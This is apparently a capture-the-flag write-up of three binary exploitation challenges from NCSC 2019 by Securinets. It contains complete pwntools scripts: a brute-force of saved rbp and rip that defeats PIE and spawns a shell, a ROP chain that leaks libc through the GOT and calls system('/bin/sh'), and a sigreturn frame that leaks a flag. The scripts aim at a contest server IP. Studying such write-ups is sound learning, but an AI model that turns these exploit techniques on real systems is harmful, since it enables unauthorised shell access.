NCSC 2019 - pwn

Hi, this post will cover some binary exploitation tasks that we solved during the first edition of the National Cyber Security Congress organized by Securinets.

Bruter

The binary was PIE enabled as we can see by running checksec ./bruter

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

This protection (PIE) combined to ASLR results in full randomization (or not) of the program’s address space.

The first bug is a call to fork function: after a fork, both parent and child will have the same address layout.

The second bug is a call to read in handle_child function: the program reads 0x400 bytes of user input but saved rbp is only 0x10 bytes away from our our buffer start.

|           0x00000e5a      ba00040000     mov edx, 0x400
|           0x00000e5f      4889ce         mov rsi, rcx
|           0x00000e62      89c7           mov edi, eax
|           0x00000e64      e817fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00000e69      90             nop
|           0x00000e6a      c9             leave
\           0x00000e6b      c3             ret

So, if we are able to overflow the buffer and overwrite rbp and the return address then we have control over rip and the execution flow.

Our goal is to execute get_shell

/ (fcn) sym.get_shell 31
|   sym.get_shell ();
|           0x00000da0      55             push rbp
|           0x00000da1      4889e5         mov rbp, rsp
|           0x00000da4      488d3d0d0400.  lea rdi, str.Solved         ; 0x11b8 ; "Solved!!!"
|           0x00000dab      e850fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00000db0      488d3d0b0400.  lea rdi, str.bin_bash_2__4_1__4___4 ; 0x11c2 ; "/bin/bash 2>&4 1>&4 <&4"
|           0x00000db7      e864fdffff     call sym.imp.system         ; int system(const char *string)
|           0x00000dbc      90             nop
|           0x00000dbd      5d             pop rbp
\           0x00000dbe      c3             ret

In order to do so, we need to find a valid rbp and the code base defined by the PIE protection. As stated before, the address space is the same at each connexion.

The solution consists in guessing the two parametres (rbp and rip) one byte at once starting from the first rbp byte:

Once we have rip, we can calculate the code base and then jump to get_shell function.

from pwn import *

server = '51.254.114.246'
port = 9998

i = 16
p = "A"*i
rbp = ''
while len(rbp)<8:
    for j in range(256):
        r = remote(server,port)
        r.send(p+rbp+chr(j))
        out = r.recvall()
        print 'trying rbp: ',rbp+chr(j)
        if "Bye" in out:
            rbp += chr(j)
            r.close()
            break
        r.close()
print "Leaked rbp: ",rbp.encode('hex')


s1 = p+rbp
rip = ''
while len(rip)<8:
    for j in range(256):
        r = remote(server,port)
        r.send(s1+rip+chr(j))
        out = r.recvall(timeout = 1)
        print 'trying rip: ',rip+chr(j)
        print out
        if "Bye" in out:
            rip += chr(j)
            r.close()
            break
        r.close()

print "rbp",rbp.encode('hex') 
print "rip",rip.encode('hex')

for i in range(0xf):
	r = remote(server,port)
	r.recv()
	get_shell = p64( (u64(rip) & 0xfffffffffffff0000) + (i <<12) + 0xda0)
	payload = s1 + get_shell
	r.sendline(payload)
	try:
		r.sendline('ls')
		print r.recv()
		r.interactive()
	except:
		pass
	r.close()

ropper

A classic buffer overflow, we have control over rip after 168 bytes in the vuln function. ASLR is enabled on the server.

rett@RETTILA:~/ctf/ncsc/pwn$ checksec ropper
[*] '/home/rett/ctf/ncsc/pwn/ropper'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We have got some unusual gadgets from the help_gadgets function to help us setting our arguments

/ (fcn) sym.help_gadgets 8
|   sym.help_gadgets ();
|           0x00401192      55             push rbp
|           0x00401193      4889e5         mov rbp, rsp
|           0x00401196      5f             pop rdi
|           0x00401197      5e             pop rsi
|           0x00401198      5a             pop rdx
\           0x00401199      c3             ret

To find out the libc version and base, we started by leaking two adresses of libc using the following payload

stage1 : padding + pop rdi , rsi and rdx + 0x1 + write from the GOT table + 0x8 + write from the PLT table + vuln address

stage2 :padding + pop rdi , rsi and rdx + 0x1 + printf from the GOT table + 0x8 + write from the PLT table

which results in the execution of the following functions:

write(1,write_got,8) --> call to vuln function again and then write(1,printf_got,8)

By checking libc database search , we can easily determine libc version and the the system function and /bin/sh string offsets from the libc.

Second execution payload will contain:

stage1 : padding + pop rdi , rsi and rdx + 0x1 + write from the got table + 0x8 + write from the PLT table + vuln address

stage2 :padding + pop rdi , rsi and rdx ( too lazy to look for pop rdi ) + calculated '/bin/sh' string address + 0x0 + 0x0 + calculated system address

Too lazy to clean the code, so i put both of the steps in one script

from pwn import *

pop_rdi_rsi_rdx = 0x00401196
vuln = 0x00401259
write_plt = 0x00401040 
write_got = 0x0404020
printf_got = 0x404030

r = remote('51.254.114.246', 3333)
r.recv()

p = 'A'*168
p += p64(pop_rdi_rsi_rdx)
p += p64(1)
p += p64(write_got)
p += p64(8)
p += p64(write_plt)
p += p64(vuln)
r.send(p)
out = r.recvuntil('Gi')
out = out[:len(out)-2]
leak_write = u64(out[len(out)- 8:])

print hex(leak_write)
print out

r.recv()

p = 'A'*168
p += p64(pop_rdi_rsi_rdx)
p += p64(1)
p += p64(printf_got)
p += p64(8)
p += p64(write_plt)
p += p64(vuln)
r.send(p)
out = r.recvuntil('Gi')
out = out[:len(out)-2]
leak_printf = u64(out[len(out)- 8:])

print hex(leak_printf)

base = leak_printf - 0x055800
system = base + 0x045390
binsh = base + 0x18cd57

p = 'A'*168
p += p64(pop_rdi_rsi_rdx)
p += p64(binsh)
p += p64(0)
p += p64(0)
p += p64(system)
r.send(p)

r.interactive()
r.close()

signal

A binary containing very few code that reads user input to the top of the stack and calls for sigreturn (rax set to 0xf).

/ (fcn) entry0 23
|   entry0 ();
|           0x00401000      31c0           xor eax, eax                ; [08] m-r-x section size 36 named LOAD1
|           0x00401002      31ff           xor edi, edi
|           0x00401004      31d2           xor edx, edx
|           0x00401006      b604           mov dh, 4
|           0x00401008      4889e6         mov rsi, rsp
|           0x0040100b      0f05           syscall
|           0x0040100d      31ff           xor edi, edi
|           0x0040100f      6a0f           push 0xf                    ; rax
|           0x00401011      58             pop rax
|           0x00401012      0f05           syscall
|           0x00401014      cd03           int 3
            ;-- rip:
\           0x00401016      c3             ret

All we need to do is to read the flag at address 0x00402000

0x00402000 36 str.Securinets_Flag_is_in_remote_server

The supplied input is our constructed sigreturn frame containing a call to write(1, flag address, 50)

from pwn import *

context.clear(arch="amd64")

#~ r = remote('51.254.114.246',2222)
r = process('./pwn_c')

frame = SigreturnFrame(kernel="amd64") 
frame.rax = 1 
frame.rdi = 1 
frame.rsi = 0x00402000 
frame.rdx = 50 
frame.rsp = 0x41414141
frame.rip = 0x00401012 
payload = str(frame)
r.send(payload)
print r.recvall(timeout=1)